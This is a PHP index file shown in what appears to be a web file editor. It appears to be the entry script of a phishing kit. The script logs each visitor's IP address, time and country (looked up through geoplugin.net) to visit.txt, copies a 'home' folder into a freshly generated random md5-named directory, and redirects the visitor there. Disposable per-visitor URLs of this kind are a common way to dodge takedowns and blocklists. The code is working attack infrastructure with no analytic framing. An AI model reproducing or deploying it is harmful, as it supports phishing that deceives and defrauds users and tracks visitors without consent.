Editing: index.php
<?php /// TIME @ini_set('display_errors', 0); error_reporting(E_ALL ^ E_NOTICE); date_default_timezone_set('GMT'); $TIME = date("d-m-Y H:i:s"); /// COUNTRY $PP = getenv("REMOTE_ADDR"); $J7 = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$PP"); $COUNTRY = $J7->geoplugin_countryName ; // Country /// VISITOR $ip = getenv("REMOTE_ADDR"); $file = fopen("visit.txt","a"); fwrite($file,$ip." - ".$TIME." - " . $COUNTRY ."\n") ; $random=rand(0,100000000000); $md5=md5("$random"); $base=base64_encode($md5); $dst=md5("$base"); function recurse_copy($src,$dst) { $dir = opendir($src); @mkdir($dst); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src . '/' . $file) ) { recurse_copy($src . '/' . $file,$dst . '/' . $file); } else { copy($src . '/' . $file,$dst . '/' . $file); } } } closedir($dir); } $src="home"; recurse_copy( $src, $dst ); header("Location:$dst"); ?>
Save
Back